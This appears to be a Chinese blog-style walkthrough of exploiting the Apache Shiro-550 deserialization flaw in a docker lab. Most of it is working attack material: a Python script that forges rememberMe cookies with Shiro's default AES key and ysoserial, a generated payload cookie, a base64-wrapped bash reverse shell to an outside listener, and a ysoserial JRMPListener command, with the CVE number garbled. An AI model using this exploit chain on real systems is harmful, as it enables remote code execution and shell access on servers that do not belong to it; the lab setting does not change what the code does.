700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > Apache-shiro漏洞利用合集

Apache-shiro漏洞利用合集

时间:2020-06-01 15:49:40

相关推荐

Apache-shiro漏洞利用合集

这里漏洞原理不再多进行赘述 主要是测试漏洞的利用过程

漏洞1:shiro-550 CVE--4437 shiro反序列化漏洞

利用版本 Apache-shiro <1.2.4

漏洞环境docker安装

docker pull medicean/vulapps:s_shiro_1systemctl restart dockerdocker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

启动成功以后直接访问本地的8081端口即可

首先在登录界面输入相应的号之后点记住我 抓包

发现是存在rememberMe=deleteMe的字段的 是有可能存在shiro反序列化的

利用工具地址1:

/insightglacier/Shiro_exploit

首先在目录下执行如下的命令

python shiro_exploit.py -u http://192.168.206.153:8081

后续使用步骤由于环境问题这里没办法实验 下一款利用工具:

(ps:很多工具已经由于不再更新了 也就不展示了 懂原理就行)

这里补充一下python的exp的代码

import syssys.path.append("./package")import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command): # ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command],stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])print("rememberMe={0}".format(payload.decode()))

第一步 利用python生成exp

C:\Users\86181\Desktop\Shiro550_exploit>python shiro_exp2.py 192.168.206.153:15547

rememberMe=QT5g+CpFTCOJ/0QjKwVWk0ga4OSMMwN05U1tMde7u7XTdBpmNg8fnji+2om5WqLWljloFje4Uxnfr1tgAEcKeAYho/Y6O/F3XFCtKZDrqnbT04EcsT7RLPXPspMqumXkrT+D5rLImevLAUkB+tPi6TtcScjUTbgkeWel0pE6IjxGPPZF7MJWtpqlrJenlj0Nwp75mh1ktvOhxoKlVJf0BIS7Sk/0G0oxFsB7zRwdtcy+IF/PWnxb/V2xVmwb8auTkJkzB+Tn0y/KrbyAArXjSYKLDS3NfLhegmBTFYrtBy6D4QMnBYbkyxjhsKwkSczRerzBy076qTXDpvfXwT8vPSkGw+XRnUh3f+o79yB7TFMn6AOAr2RCks/fbP1+SgRwy6gGT4O8ou11U/YP+Zryhw==

第二步 构造nc进行监听 监听的端口是8082端口

bash -i >& /dev/tcp/192.168.206.153/8082 0>&1

进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx

替换其中的内容

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx}|{base64,-d}|{bash,-i}

继续替换 之后将此内容输入到终端 开始监听第二个交互端口15547端口

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 15547 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx}|{base64,-d}|{bash,-i}'

之后我们对web登录成功以后的界面刷新抓包 删除掉jsessionid 并且替换掉rememberme

之后nc的监听也就上线了(ps:nc要在放包之前监听 否则就晚了)

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。